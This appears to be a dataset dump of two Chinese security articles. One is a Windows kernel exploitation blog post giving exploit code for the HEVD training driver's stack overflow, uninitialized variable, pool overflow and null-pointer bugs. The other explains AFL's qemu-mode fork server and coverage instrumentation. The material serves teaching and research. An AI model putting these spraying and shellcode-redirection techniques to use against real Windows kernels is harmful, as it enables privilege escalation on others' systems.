text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
**作者：[wjllz](https://redogwu.github.io/2018/11/04/windows-kernel-exploit-part-7/ "wjllz")
来源：[先知安全技术社区](https://xz.aliyun.com/t/3580 "先知安全技术社区")**
## 前言
Hello, 这是`windows kernelexploit`的第七篇, 也是这个阶段性的最后一篇. 接下来我想做一些挖洞的工作.
所以可能分析性的文章就暂时更新到这里(并不, 只是投入的时间占比可能会更少一些).
这一篇主要涉及一些我自己对挖洞的思考, 来源于学习过程的积累. 但是都是自己总结, 没有科学依据. 所以我一直挂在自己的博客, 没有外放.
后来想着校内分享就给老师了… 师傅和我说一个系列的希望可以在先知留给备份, 所以就又放上来了. 唔, 虽然是一些很笨的方法,
但是希望师傅们能够给我提供更多的意见. 感激不尽 :)
我记得两个月前我开始了我的内核学习道路, 于是我开始学习师父给我的HEVD的文章来看. 在学习了UAF这一篇之后, 就把这个系列给放弃了.
因为觉得还是直接做cve的分析比较具有挑战性.
我记得我的第一篇文章是关于HEVD的, 当时第一次实现了堆喷的时候, 开始惊讶于这个世界的神奇. 所以这样想来也好, 从HEVD开始. 也从HEVD结束.
当然, 提到HEVD, 得感谢rootkits的杰出工作. 让我放弃了c走向了python的美满人生(并没有, c是我和我最后的倔强).
还有一些balabala的人(很重要的), 由于我不是写获奖感言. 所以就不一一列举了.
由于rootkit的分析已经做的很棒了, 所以我不会对于每一个做出详细的解释, 而是给出概括性的利用总结.在这篇文章当中, 给出的内容如下:
[+] HEVD的各个漏洞利用的思路
[+] 通过HEVD总结windows内核漏洞利用.
[+] 探讨内核的学习之路的一些绕弯的地方
[+] 关于挖洞的推测
我比较想聊的是第二个和第三个话题, 如果你看过我以前的博客的话, 你会发现我就是一个菜鸡, 所以和往常一样. 这些都是我自以为是的结论. 不算教程.
如果你在学习过程中发出和我一样的感受的话. 那实在是一件很幸运的事情. 至于第四个点, 算是一些民科的行为, 基于HEVD给出的信息,
想探讨一些对之后挖洞可能会有帮助性的思路. 在之后的道路我会验证他并更新第四部分.
文章所有的代码实现你可以在我的github上面找到, UAF和write-what-where会有详细的文章解释, 所以就不再贴出来.
## 各个漏洞的总结
### 栈溢出
##### 关键代码段:
#ifdef SECURE
// Secure Note: This is secure because the developer is passing a size
// equal to size of KernelBuffer to RtlCopyMemory()/memcpy(). Hence,
// there will be no overflow
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
#else
DbgPrint("[+] Triggering Stack Overflow\n");
// Vulnerability Note: This is a vanilla Stack based Overflow vulnerability
// because the developer is passing the user supplied size directly to
// RtlCopyMemory()/memcpy() without validating if the size is greater or
// equal to the size of KernelBuffer
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size); // 这里
#endif
#### 利用思路:
[+] 覆盖0x824(ebp-0x81c)的数据, 偏移0x820处写入shellcode
[+] ret时候覆盖eip, 执行shellcode
##### 爬坑点:
[+] 恢复堆栈平衡(rootkits):
[+] 找到shellcode的ret处, 观察当前堆栈. 执行pop, add esp, 之类的操作恢复平衡.(这一部分需要注意的是, 比起静态分析, 动态调试可以帮助你节省很多时间)
[+] user space算出内核基地址
[+] 算出ret 地址偏移XXXX
[+] mov [esp], xxx.
==> 你可以参考我的内核系列的第二篇文章.
##### 假设比较
[+] 开发者假设: 由userbuf到kernelbuf的复制功能实现完整
[+] 攻击者假设: 开发者开发的功能当中开发者可能出现失误造成漏洞点.
[+] ==> who: 开发者失误
##### exp关键代码段
VOID runYourShellCode()
{
const int orignalLength = 0x800;
const int overflowLength = 0x20;
DWORD lpBytesReturned = 0;
char buf[orignalLength + overflowLength+4];
memset(buf, 0x41, orignalLength + overflowLength+4);
*(PDWORD32)(buf +orignalLength + overflowLength) = (DWORD32)&shellCode; // rip
// 执行shellcode
// 任务: 计算偏移地址
DeviceIoControl(hDevice, STACK_OVERFLOW_NUMBER, buf, orignalLength + overflowLength + 4, NULL, 0, &lpBytesReturned, NULL); // 0x1f8 原有大小 0x8覆盖header
}
### 未初始化栈变量
##### 关键代码段
#ifndef SECURE
DbgPrint("[+] Triggering Uninitialized Stack Variable Vulnerability\n");
#endif
// Call the callback function
if (UninitializedStackVariable.Callback) {
UninitializedStackVariable.Callback(); // 这里
}
}
##### 利用思路
[+] 利用stack spray控制堆栈中的残留数据
==> stack spray: https://j00ru.vexillium.org/2011/05/windows-kernel-stack-spraying-techniques/
[+] 未初始化的栈变量(UninitializedStackVariable)使用的值是堆喷残留的数据. 运行下面的语句, 执行shellcode
==> UninitializedStackVariable.Callback();
##### 爬坑点
[+] stack spray
[+] 理论性的计算stack spray的变化对我来说实在是一件枯燥的事
==> 采用OD或者windbg观察程序堆栈类似`add esp, 8`之后, 堆栈的相关信息
==> 动态调试用于堆喷射的函数NtMapUserPhysicalPages运行过程中堆栈的变化
##### 假设比较
[+] 开发者假设: 使用UninitializedStackVariable功能实现完整
[+] 攻击者假设:
==> 开发者没有正确对变量A赋值初值.
==> 利用系统特性. 可以对A的初值进行预判性的赋值
==> 利用后面代码. 可以执行shellcode
[+] ==> who: 开发者+系统特性
##### exp:
[+] 关键代码段:
VOID exploitToRunYourShellCode()
{
DWORD lpBytesReturned = 0;
char buf[5] = {};
*(PDWORD32)(buf) = 0xBAD0B0B0 + 12; // not magic value
NtMapUserPhysicalPages_t NtMapUserPhysicalPages =(NtMapUserPhysicalPages_t)GetProcAddress(GetModuleHandle("ntdll"), "NtMapUserPhysicalPages");
if (MapUserPhysicalPages == NULL)
{
std::cout << "[+] Get MapUserPhysicalPages failed!!! " << GetLastError() << std::endl;
return;
}
// j00ru给的数据
// 只要把它全部变为shellcode的地址就可以了
PULONG_PTR sprayBuf = (PULONG_PTR)malloc(1024 * 4);
memset(sprayBuf, 0x41, 1024 * 4);
for (int i = 0; i < 1024; i++)
{
*(PDWORD)(sprayBuf + i) = (DWORD)&shellCode;
}
NtMapUserPhysicalPages(NULL, 0x400, sprayBuf);
DeviceIoControl(hDevice, UNINITIAL_STACK_VARIABLE_NUMBER, buf, 5, NULL, 0, &lpBytesReturned, NULL); // 0x1f8 原有大小 0x8覆盖header
}
### 未初始化堆变量
##### 关键代码段:
[+] c
#ifdef SECURE
else {
DbgPrint("[+] Freeing UninitializedHeapVariable Object\n");
DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
DbgPrint("[+] Pool Chunk: 0x%p\n", UninitializedHeapVariable);
// Free the allocated Pool chunk
ExFreePoolWithTag((PVOID)UninitializedHeapVariable, (ULONG)POOL_TAG);
// Secure Note: This is secure because the developer is setting 'UninitializedHeapVariable'
// to NULL and checks for NULL pointer before calling the callback
// Set to NULL to avoid dangling pointer
UninitializedHeapVariable = NULL;
}
#else
// Vulnerability Note: This is a vanilla Uninitialized Heap Variable vulnerability
// because the developer is not setting 'Value' & 'Callback' to definite known value
// before calling the 'Callback'
DbgPrint("[+] Triggering Uninitialized Heap Variable Vulnerability\n");
#endif
// Call the callback function
if (UninitializedHeapVariable) {
DbgPrint("[+] UninitializedHeapVariable->Value: 0x%p\n", UninitializedHeapVariable->Value);
DbgPrint("[+] UninitializedHeapVariable->Callback: 0x%p\n", UninitializedHeapVariable->Callback);
// 这里
UninitializedHeapVariable->Callback();
}
}
##### 利用思路
[+] 利用堆喷控制堆中残留的数据
[+] 触发漏洞, 使其重复使用上一次释放的堆
[+] 利用程序的后面逻辑实现利用
##### 爬坑点
[+] list head:
[+] target
##### 假设比较
[+] 开发者假设: callback功能实现完成
[+] 攻击者假设: 开发者未对数据进行合理的赋值, 可以利用系统特性控制数据实现利用
[+] who: 开发者失误+系统特性
##### exp
[+] 关键代码段
VOID poolFengShui()
{
WCHAR lpszName[0xf0 / 2] = {};
memset((char*)lpszName, 'A', 0xf0);
// 分配大量的0x256个pool
for (int i = 0; i < 256; i++)
{
*(PDWORD)((char*)lpszName + 0x4) = (DWORD)&shellCode;
*(PDWORD)((char*)lpszName + 0xf0 - 4) = i;
*(PDWORD)((char*)lpszName + 0xf0 - 3) = i;
*(PDWORD)((char*)lpszName + 0xf0 - 2) = i;
*(PDWORD)((char*)lpszName + 0xf0 - 1) = i;
spray_event[i] = CreateEventW(NULL, FALSE, FALSE, (LPCWSTR)lpszName); // 分配0xf0+0x8(header)的pool
}
for (int i = 0; i < 256; i++)
{
CloseHandle(spray_event[i]);
i += 4;
}
// 分配完毕
}
VOID exploitToRunYourShellCode()
{
DWORD lpBytesReturned = 0;
char buf[5] = {};
*(PDWORD32)(buf) = 0xBAD0B0B0 + 12; // not magic value
// 堆喷数据
poolFengShui();
DeviceIoControl(hDevice, UNINITIAL_HEAP_VARIABLE_NUMBER, buf, 5, NULL, 0, &lpBytesReturned, NULL); // 0x1f8 原有大小 0x8覆盖header
}
### pool oveflow
##### 关键代码段:
#ifdef SECURE
// Secure Note: This is secure because the developer is passing a size
// equal to size of the allocated Pool chunk to RtlCopyMemory()/memcpy().
// Hence, there will be no overflow
RtlCopyMemory(KernelBuffer, UserBuffer, (SIZE_T)POOL_BUFFER_SIZE);
#else
DbgPrint("[+] Triggering Paged Pool Session Overflow\n");
// Vulnerability Note: This is a vanilla Pool Based Overflow vulnerability
// because the developer is passing the user supplied value directly to
// RtlCopyMemory()/memcpy() without validating if the size is greater or
// equal to the size of the allocated Pool chunk
RtlCopyMemory(KernelBuffer, UserBuffer, Size); // 这里
#endif
##### 利用思路:
[+] 利用堆喷留下合适的0x200大小的数据
[+] 0页分配, shellcode地址放在0x60处
[+] 构造数据使溢出后的数据足以把typeinfo值为0,
[+] 调用closeHandle时候调用shellcode
##### 爬坑
[+] 堆喷的时候合理控制空隙
##### 假设比较
[+] 开发者假设: callback功能实现完成
[+] 攻击者假设: 开发者未对数据进行合理的校验, 可以利用系统特性控制数据实现利用
[+] who: 开发者失误+系统特性
##### exp关键代码
// 使用CreateEvent API去控制风水布局
VOID poolFengShui()
{
// 分配大量的0x40个pool
for (int i = 0; i < 0x1000; i++)
spray_event[i] = CreateEventA(NULL, FALSE, FALSE, NULL); // 0x40
// 0x40 * 8 = 0x200
for (int i = 0; i < 0x1000; i++)
{
for(int j = 0; j < 0x8; j++)
CloseHandle(spray_event[i+j]);
i += 8;
}
// 分配完毕
}
VOID exploit()
{
const int overLength = 0x1f8;
const int headerLength = 0x28;
DWORD lpBytesReturned = 0;
char buf[overLength+headerLength];
memset(buf,0x41 ,overLength+headerLength);
// 伪造利用的数据
// 伪造typeInfo. 使其为0x00
*(DWORD*)(buf + overLength + 0x00) = 0x04080040;
*(DWORD*)(buf + overLength + 0x04) = 0xee657645;
*(DWORD*)(buf + overLength + 0x08) = 0x00000000;
*(DWORD*)(buf + overLength + 0x0c) = 0x00000040;
*(DWORD*)(buf + overLength + 0x10) = 0x00000000;
*(DWORD*)(buf + overLength + 0x14) = 0x00000000;
*(DWORD*)(buf + overLength + 0x18) = 0x00000001;
*(DWORD*)(buf + overLength + 0x1c) = 0x00000001;
*(DWORD*)(buf + overLength + 0x20) = 0x00000000;
*(DWORD*)(buf + overLength + 0x24) = 0x00080000; // key fake here
/*
* [+] (TYPEINFO 为0x00)伪造0x60, 覆盖函数指针使其执行shellcode
*/
PVOID fakeAddr = (PVOID)1;
SIZE_T MemSize = 0x1000;
*(FARPROC *)&NtAllocateVirtualMemory = GetProcAddress(GetModuleHandleW(L"ntdll"),
"NtAllocateVirtualMemory");
if (NtAllocateVirtualMemory == NULL)
{
return ;
}
std::cout << "[+]" << __FUNCTION__ << std::endl;
if (!NT_SUCCESS(NtAllocateVirtualMemory(HANDLE(-1),
&fakeAddr,
0,
&MemSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE)) || fakeAddr != NULL)
{
std::cout << "[-]Memory alloc failed!" << std::endl;
return ;
}
*(DWORD*)(0 + 0x60) = (DWORD)&shellCode; // change为shellcode地址
poolFengShui();
DeviceIoControl(hDevice, POOL_OVERFLOW_NUMBER, buf, overLength+headerLength, NULL, 0, &lpBytesReturned, NULL); // 0x1f8 原有大小 0x8覆盖header
}
### 空指针
##### 关键代码
[...]
NullPointerDereference = NULL; // here
}
#ifdef SECURE
// Secure Note: This is secure because the developer is checking if
// 'NullPointerDereference' is not NULL before calling the callback function
if (NullPointerDereference) {
NullPointerDereference->Callback();
}
#else
DbgPrint("[+] Triggering Null Pointer Dereference\n");
// Vulnerability Note: This is a vanilla Null Pointer Dereference vulnerability
// because the developer is not validating if 'NullPointerDereference' is NULL
// before calling the callback function
NullPointerDereference->Callback(); // here
#endif
##### 利用思路
[+] 构造合理数据, 使其分配0页
[+] 触发漏洞执行shellcode
##### 爬坑点
[+] 分配内存页
if (!NT_SUCCESS(NtAllocateVirtualMemory(HANDLE(-1),
&fakeAddr, //==> 这个地方别赋值为NULL(0), 否则系统会自动分配地址(请参考MSDN)
0,
&MemSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE)) || fakeAddr != NULL)
{
std::cout << "[-]Memory alloc failed!" << std::endl;
return ;
}
##### 假设比较
[+] 开发者假设: callback功能实现完成
[+] 攻击者假设: 开发者未对数据进行合理的校验, 可以利用系统特性控制数据实现利用
[+] who: 开发者失误+系统特性
##### exp关键代码
VOID exploitToRunYourShellCode()
{
DWORD lpBytesReturned = 0;
char buf[5] = {};
*(PDWORD32)(buf) = 0xBAD0B0B0+12; // not magic value
// 执行shellcode
// 任务: 计算偏移地址
*(FARPROC *)&NtAllocateVirtualMemory = GetProcAddress(GetModuleHandleW(L"ntdll"),
"NtAllocateVirtualMemory");
if (NtAllocateVirtualMemory == NULL)
{
return;
}
PVOID fakeAddr = (PVOID)1;
SIZE_T MemSize = 0x1000;
std::cout << "[+]" << __FUNCTION__ << std::endl;
if (!NT_SUCCESS(NtAllocateVirtualMemory(HANDLE(-1),
&fakeAddr,
0,
&MemSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE)) || fakeAddr != NULL)
{
std::cout << "[-]Memory alloc failed!" << std::endl;
return;
}
*(DWORD*)(0 + 0x4) = (DWORD)&shellCode;
DeviceIoControl(hDevice, NULL_POINTER_DEFERENCE_NUMBER, buf, 5, NULL, 0, &lpBytesReturned, NULL); // 0x1f8 原有大小 0x8覆盖header
}
## 从HEVD引发的内核漏洞学习的思考
##### 难度比较
前段时间在做DDCTF的时候, 我就有了把HEVD的这个重新写一下的想法. 对比一下他们的不同之处. HEVD这个, 我写完的时间花了三个小时(stack
spray第一次学习, 在那里卡了一会). 所以还是蛮简单的. 所以我想先讲一下HEVD和我自己学习的CVE的不同. 来看看对内核学习有什么有用的信息.
###### 分析代码
HEVD:
[+] HEVD的代码网上有给出相应的c代码, 你可以不用无脑去逆向. 可以直接阅读源码. 进行触发. 并很容易的根据相应的程序逻辑构造合理的数据进行利用.
CVE:
[+] 这几个当中, 以我目前来看分析代码的逻辑才是最难的一部分.
==> 你得确定漏洞的触发点 --> 得有代码的逻辑分析能力
==> 你得确定调用怎样的合适的API, 各个参数放怎样的数据才是合理的. --> 对windows编程要有相应的熟悉.
CVE的学习, 如果你做过1day的比较之后, 你会发现. 定位漏洞点其实借助于其他的小技巧(比如补丁比较)可能没有那么难.
但是触发了漏洞之后利用函数里面的哪一段数据才能合理的实现利用我觉得是更难的部分. 因为很容易迷失在此中. 所以我做的过程当中面对这个问题的解决方案是:
[+] xref触发漏洞逻辑
[+] 利用调试去做与补丁比较反方向的事, 验证判断
[+] 构建POC
==> 确定漏洞的相关内核数据类型, 如果前辈们已经做过了. 就直接参考前辈的经验
==> 如果没做过:
==> 结合windows nt4泄露源码实现逆向
==> 动态调试, 对比哪些数据被污染了(如果这一部分做得好的话, 甚至可以不用逆向)
##### 开发难度
HEVD:
[+] HEVD的利用github上面有很多很多, 如果你不会的话你可以参考其他人的代码与教程学习
[+] HEVD对数据的操控十分简单. 大多数数据都是连续的(你可以覆盖可控数据的n个byte)
CVE:
[+] 很多CVE的利用在网上都没有push出相应的源代码, 得自己游离于google的开发平台做相应的资料搜集.
[+] 大多数漏洞操纵的数据都是有限的, 而且很容易写原语残缺(可以参考我的第二篇文章)
[+] 缓解措施问题: 针对各个平台, 有形形色色的缓解措施等着你. 其中的绕过让人头疼不已.
我一度困扰于缓解措施和各种绕过, 所以对于此, 我做了下面的解决方案.
[+] 寻求一种通用性的方法: 直接替换system token和current process token. 这种方法能够实现内核提权, 你只需要绕过KASLR. 以及获取相应的读写权限即可
[+] 多读以前的漏洞, 看看前辈们如何解决写原语残缺.
==> 控制关键数据结构体, 获取更优秀的读写能力
[+] 在github上面更新了(目前更新到了rs3)漏洞利用的合集, 保证我在各个平台上至少掌握一种方法可利用.
## 一些自己内核学习的过程中绕弯的地方
### 贫穷
这一部分其实没有开玩笑, 在我早期的学习过程中. 我用着我的4G的笔记本. 同时开着两三个虚拟机. 然后电脑天天处于爆炸的状态. 十分影响学习的效率.
所以如果可以的话, 尽量使用性能比较好的电脑. 好的工具会让你事半功倍.
### 理论分析与调试分析
我做的最难受的洞应该是[cve-2017-0263](https://xiaodaozhi.com/exploit/71.html),
因为那是小刀师傅的博客上面做的是一篇十分详细的分析. 所以我觉得应该是蛮简单的, 但是我当时差不多花了一个星期左右在上面, 因为我走错了重点.
小刀师傅的博客上面有对每一个控件的原理相关的数据变量都做详细的分析, 能做到此是基于其强大的内功. 他熟悉windows的管理细节,
以及内核结构的实现思路. 这一部分是需要经验的积累的. 然而初入内核的我是根本不可能有内功这种东西的. 所以我做的最大的错误就是让自己陷入知识的海洋当中.
后来的解决方案是我开始从exp入手, 定位相应的关键代码段.然后记住关键的代码信息, 完成了那个漏洞的理解分析.
所以我们可以牵涉到另外一个东西. 我在学习的过程当中, 一开始翻阅了大量的paper, 光是blackhat的演讲paper就搜集了一大堆,
但是经常看着看着就忘了. 大概自己实在是一个不擅长寄东西的人.所以我开始对paper做了另外一个十分的定义. 字典. 哪里不会点哪里.
学堆喷的时候去参考11年的pool, feng shui的时候去看13的paper. 在重复的查阅当中. 获取更深的理解.
## 关于挖洞的探讨.
依然想首先讲出, 我还没有开始挖洞, 所以这一部分的东西只是我下一步的工作的主体思路. 在后期当中我会更新变改正.
##### 开发者失误
在前面的过程当中. 我对每一个类型的洞都给了相应的背锅归属, 我把pool overflow, stackoverflow归类于开发者背锅.
然而微软的老师们都是很厉害的存在, 所以我觉得想去挖这种类型的洞概率还是挺小的. 如果说有的话, 应该是在相应的比较老的源码当中.
在那个时候微软还是良莠不齐, 以及大家并不注重安全的年代我觉得漏洞可能存在. 所以相应的思路是:
[+] 比较古老的windows和现有的windows(bindiff)
[+] 重点观测未更改的函数
==> 留意核心功能的函数, 攻击面广.
##### 系统特性
这一部分的挖洞是我最想做的. 做CVE和HEVD的分析的时候, 一般我都会去尝试假设如果自己实现这份源码会去怎么实现.
最终得出的结论是我可能在`整数溢出+UAF模式的回调攻击`这两个个类型的洞会百分百命中.
###### 整数溢出
`整数溢出`的漏洞其实我觉得锅是不应该给开发者的, 寄存器的局限性和语言的局限性导致了这个漏洞的出现. 正常人的思路应该是`FFFFFFFF+1=1
0000 0000`, 然而由于局限性的出现, 结果变为了`0`, 所以我觉得由`人的惯性思维`去入手. 应该会有不错的收获. 所以在下面的学习当中.
我会主要关注于整数溢出的漏洞挖掘.
目前的大概思路是:
[+] 寻找最新的补丁
[+] 使用IDA python完成相应的代码搜索. 过滤条件:
==> PALLOCMEM
==> without: ULongLongToLong
###### UAF攻击
`UAF`的漏洞也应该是由系统特性来背锅. 因为在设计方面, 使用用户回调来与user space的相关数据实现交互可以极大的提高效率.
引发了潜在的安全问题. 在微软最开始的设计当中, 应该对于这一部分的考虑挺少的. 所以我觉得这一部分的洞可能比`整数溢出`漏洞更多一些.
但是不做这一方面的原因是, 手工寻找此类型的漏洞可能过于痛苦. 所以我得去学一点`fuzz`的知识. 那也是一个漫长的过程. 所以先慢慢来.
目前的大概思路是:
[+] 学习fuzz
[+] 构建好的策略
## 相关链接
==> 北归姐的个人博客: www.baidu.com(北归姐的博客不开放. 所以先占位)
==> sakura师父的个人博客: http://eternalsakura13.com/
==> 小刀师傅的博客: https://xiaodaozhi.com/(小刀师傅拥有着我所有想要的优点)
==> rootkits老师的博客: https://rootkits.xyz/(入门的良心材料)
==> j00ru: https://j00ru.vexillium.org/(我的偶像, 我能做到的只是这副皮囊比偶像帅一点(逃), 其他的还有很长的距离去赶)
==> alex: http://www.alex-ionescu.com/(一个非常厉害非常厉害的老师. 学windows内核内功方面的字典)
==> NCC group: https://www.nccgroup.trust/us/(发布的paper有很强的研究意义)
==> coresecurity: https://support.coresecurity.com/hc/en-us(发布的paper有很强的研究意义)
==> sensepost: https://sensepost.com/(发布的paper有很强的研究意义)
==> awesome kernel: https://github.com/ExpLife0011(一份相当有用的资料来源地. explife老师帮忙节省了很多找资料的细节)
==> blackhat: https://www.blackhat.com/(有很多的paper, 大量的最新的研究)
==> k0keoyo: https://github.com/k0keoyo(在老师的github上面学到很多.)
==> 我的博客地址: https://www.redog.me/
## 后记
内核系列分析的文章到这里告一段落. 十分感谢你阅读完这些又长又丑的文章(假装自己的博客有人看的样子). 希望能够对你有所帮助.
做这个系列的目的是, 在我学习的过程中, 阅读了大量的前辈们的文章, 他们把windows的闭源变成了开源. 所以我觉得很酷. 我也想做这样的事.
另外一个方面, 自己的学习过程当中实在是一个相当愚蠢的过程, 犯了大量的错误, 所以想把自己犯的错给贴出来. 如果能够帮助你避免重复犯错实在是幸运的事.
最后, wjllz是人间大笨蛋.
* * * | 社区文章 |
# 前言
本文主要介绍如果使用 `qemu` 和 `unicorn` 来搜集程序执行的覆盖率信息以及如何把搜集到的覆盖率信息反馈到 `fuzzer` 中辅助
`fuzz` 的进行。
# AFL Fork Server
为了后面介绍 `afl` 的 `qemu` 模式和 `unicorn` 模式， 首先大概讲一下 `afl` 的 `fork server`
的实现机制。`afl` 与 `fork server` 的通信流程如图所示
1. 首先 `afl-fuzz` 调用 `init_forkserver` 函数 `fork` 出一个新进程作为 `fork server` ， 然后等待 `fork server` 发送 `4` 个字节的数据, 如果能够正常接收到数据则表示 `fork server` 启动正常。
2. `fork server` 起来后会使用 `read` 阻塞住， 等待 `afl-fuzz` 发送命令来启动一个测试进程。
3. 当需要进行一次测试时，`afl-fuzz` 会调用 `run_target` ， 首先往管道发送 4 个字节通知 `fork server` 去 `fork` 一个进程来测试。
4. `fork server` 新建进程后，会通过管道发送刚刚 `fork` 出的进程的 `pid` 给 `fork server`.
5. `afl-fuzz` 根据接收到的 `pid` 等待测试进程结束，然后根据测试生成的覆盖率信息来引导后续的测试。
# AFL qemu 模式
`AFL` 的 `qemu` 模式的实现和 `winafl` 使用 `dynamorio` 来插桩的实现方式比较类似，`winafl` 的实现细节如下
https://xz.aliyun.com/t/5108
## 原始版本
**源码地址**
https://github.com/google/AFL/tree/master/qemu_mode/patches
`qemu` 在执行一个程序时，从被执行程序的入口点开始对基本块翻译并执行，为了提升效率，`qemu`会把翻译出来的基本块存放到 `cache` 中，当
`qemu` 要执行一个基本块时首先判断基本块是否在 `cache` 中，如果在 `cache` 中则直接执行基本块，否则会翻译基本块并执行。
`AFL` 的 `qemu` 模式就是通过在准备执行基本块的和准备翻译基本块的前面增加一些代码来实现的。首先会在每次执行一个基本块前调用
`AFL_QEMU_CPU_SNIPPET2` 来和 `afl` 通信。
#define AFL_QEMU_CPU_SNIPPET2 do { \
if(itb->pc == afl_entry_point) { \
afl_setup(); \
afl_forkserver(cpu); \
} \
afl_maybe_log(itb->pc); \
} while (0)
如果当前执行的基本块是 `afl_entry_point` （即目标程序的入口点），就设置好与 `afl` 通信的命名管道和共享内存并初始化 `fork
server` ，然后通过 `afl_maybe_log` 往共享内存中设置覆盖率信息。统计覆盖率的方式和 `afl` 的方式一样。
cur_loc = (cur_loc >> 4) ^ (cur_loc << 8);
cur_loc &= MAP_SIZE - 1;
afl_area_ptr[cur_loc ^ prev_loc]++; // 和 afl 一样 统计 edge 覆盖率
`fork server` 的代码如下
static void afl_forkserver(CPUState *cpu) {
// 通知 afl-fuzz fork server 启动正常
if (write(FORKSRV_FD + 1, tmp, 4) != 4) return;
// fork server 的主循环，不断地 fork 新进程
while (1) {
// 阻塞地等待 afl-fuzz 发送命令，fork 新进程
if (read(FORKSRV_FD, tmp, 4) != 4) exit(2);
child_pid = fork(); // fork 新进程
if (!child_pid) {
// 子进程会进入这，关闭通信管道描述符，然后从 afl_forkserver 返回继续往下执行被测试程序
afl_fork_child = 1;
close(FORKSRV_FD);
close(FORKSRV_FD + 1);
close(t_fd[0]);
return;
}
// fork server 进程，发送 fork 出来的测试进程的 pid 给 afl-fuzz
if (write(FORKSRV_FD + 1, &child_pid, 4) != 4) exit(5);
// 不断等待处理 测试进程的 翻译基本块的请求
afl_wait_tsl(cpu, t_fd[0]);
// 等待子进程结束
if (waitpid(child_pid, &status, 0) < 0) exit(6);
if (write(FORKSRV_FD + 1, &status, 4) != 4) exit(7);
}
}
`forkserver` 的代码流程如下
1. 首先发送数据给 `afl-fuzz`, 表示 `fork server` 启动正常，通知完之后会进入循环阻塞在 read ，直到 afl-fuzz 端发送消息。
2. 接收到数据后，`fork server` 会 `fork` 出新进程，此时子进程会关闭所有与 `afl-fuzz` 通信的文件描述符并从 `afl_forkserver` 返回继续往下执行被测试程序。而父进程则把刚刚 `fork`出的测试进程的 `pid` 通过管道发送给 `afl-fuzz`。
3. 之后 `fork server` 进程进入 `afl_wait_tsl` ，不断循环处理子进程翻译基本块的请求。
下面分析 `afl_wait_tsl` 的原理， 首先 `afl` 会在 翻译基本块后插入一段代码
tb = tb_gen_code(cpu, pc, cs_base, flags, 0); // 翻译基本块
AFL_QEMU_CPU_SNIPPET1; // 通知父进程 (fork server进程) 刚刚翻译了一个基本块
#define AFL_QEMU_CPU_SNIPPET1 do { \
afl_request_tsl(pc, cs_base, flags); \
} while (0)
`afl_request_tsl` 就是把测试进程刚刚翻译的基本块的信息发送给父进程（`fork server` 进程)
static void afl_request_tsl(target_ulong pc, target_ulong cb, uint64_t flags) {
struct afl_tsl t;
if (!afl_fork_child) return;
t.pc = pc;
t.cs_base = cb;
t.flags = flags;
// 通过管道发送信息给 父进程 （fork server 进程)
if (write(TSL_FD, &t, sizeof(struct afl_tsl)) != sizeof(struct afl_tsl))
return;
}
下面看看 `afl_wait_tsl` 的代码
static void afl_wait_tsl(CPUState *cpu, int fd) {
while (1) {
// 死循环不断接收子进程的翻译基本块请求
if (read(fd, &t, sizeof(struct afl_tsl)) != sizeof(struct afl_tsl))
break;
// 去fork server进程的 tb cache 中搜索
tb = tb_htable_lookup(cpu, t.pc, t.cs_base, t.flags);
// 如果该基本块不在在 cache 中就使用 tb_gen_code 翻译基本块并放到 cache 中
if(!tb) {
mmap_lock();
tb_lock();
tb_gen_code(cpu, t.pc, t.cs_base, t.flags, 0);
mmap_unlock();
tb_unlock();
}
}
close(fd);
}
代码流程如下
1. 这个函数里面就是一个死循环，不断地接收测试进程翻译基本块的请求。
2. 接收到请求后会使用 `tb_htable_lookup` 在 `fork server` 进程的 `cache` 中搜索，如果基本块不在 `cache` 中的话就使用 `tb_gen_code` 翻译基本块并放置到 `fork server` 进程的 `cache` 中。
这个函数有两个 `tips` 。
1. 首先函数里面是死循环，只有当 `read` 失败了才会退出循环，`read` 又是阻塞的，所以只有 `fd` 管道的另一端关闭了才会 `read` 失败退出函数，所以当子进程执行结束或者由于进程超时被 `afl-fuzz` 杀死后， `afl_wait_tsl` 就会因为 `read` 失败而退出该函数，等待接下来的 `fork` 请求。
2. 子进程向父进程( `fork server` 进程)发送基本块翻译请求的原因是让 `fork server` 进程把子进程刚刚翻译的基本块在 `fork server` 进程也翻译一遍并放入 `cache`，这样在后续测试中 `fork` 出的新进程就会由于 `fork` 的特性继承 `fork server` 的 `tb cache`，从而避免重复翻译之前子进程翻译过的基本块。
## 改进版本
**源码地址**
https://github.com/vanhauser-thc/AFLplusplus
在原始的 `AFL qemu` 版本中获取覆盖率的方式是在每次翻译基本块前调用 `afl_maybe_log` 往 `afl-fuzz`
同步覆盖率信息，这种方式有一个问题就是由于 `qemu` 会把顺序执行的基本块 `chain`
一起，这样可以提升执行速度。但是在这种方式下有的基本块就会由于 `chain` 的原因导致追踪不到基本块的执行， `afl` 的处理方式是禁用 `qemu`
的 `chain` 功能，这样则会削减 `qemu` 的性能。
为此有人提出了一些改进的方式
https://abiondo.me/2018/09/21/improving-afl-qemu-mode/
为了能够启用 `chain` 功能，可以直接把统计覆盖率的代码插入到每个翻译的基本块的前面
TranslationBlock *tb_gen_code(CPUState *cpu,
............................
............................
tcg_ctx->cpu = ENV_GET_CPU(env);
afl_gen_trace(pc); // 生成统计覆盖率的代码
gen_intermediate_code(cpu, tb);
tcg_ctx->cpu = NULL;
............................
`afl_gen_trace` 的作用是插入一个函数调用在翻译的基本块前面，之后在每次执行基本块前会执行 `afl_maybe_log`
统计程序执行的覆盖率信息。
同时为了能够进一步提升速度可以把子进程生成的 基本块`chain` 也同步到 `fork server` 进程。
bool was_translated = false, was_chained = false;
tb = tb_lookup__cpu_state(cpu, &pc, &cs_base, &flags, cf_mask);
if (tb == NULL) {
mmap_lock();
tb = tb_gen_code(cpu, pc, cs_base, flags, cf_mask);
was_translated = true; // 表示当前基本块被翻译了
mmap_unlock();
/* See if we can patch the calling TB. */
if (last_tb) {
tb_add_jump(last_tb, tb_exit, tb);
was_chained = true; // 表示当前基本块执行了 chain 操作
}
if (was_translated || was_chained) {
// 如果有新翻译的基本块或者新构建的 chain 就通知 fork server 更新 cache
afl_request_tsl(pc, cs_base, flags, cf_mask, was_chained ? last_tb : NULL, tb_exit);
}
主要流程就是当有新的基本块和新的 `chain` 构建时就通知父进程 (`fork server`进程)更新父进程的 `cache`.
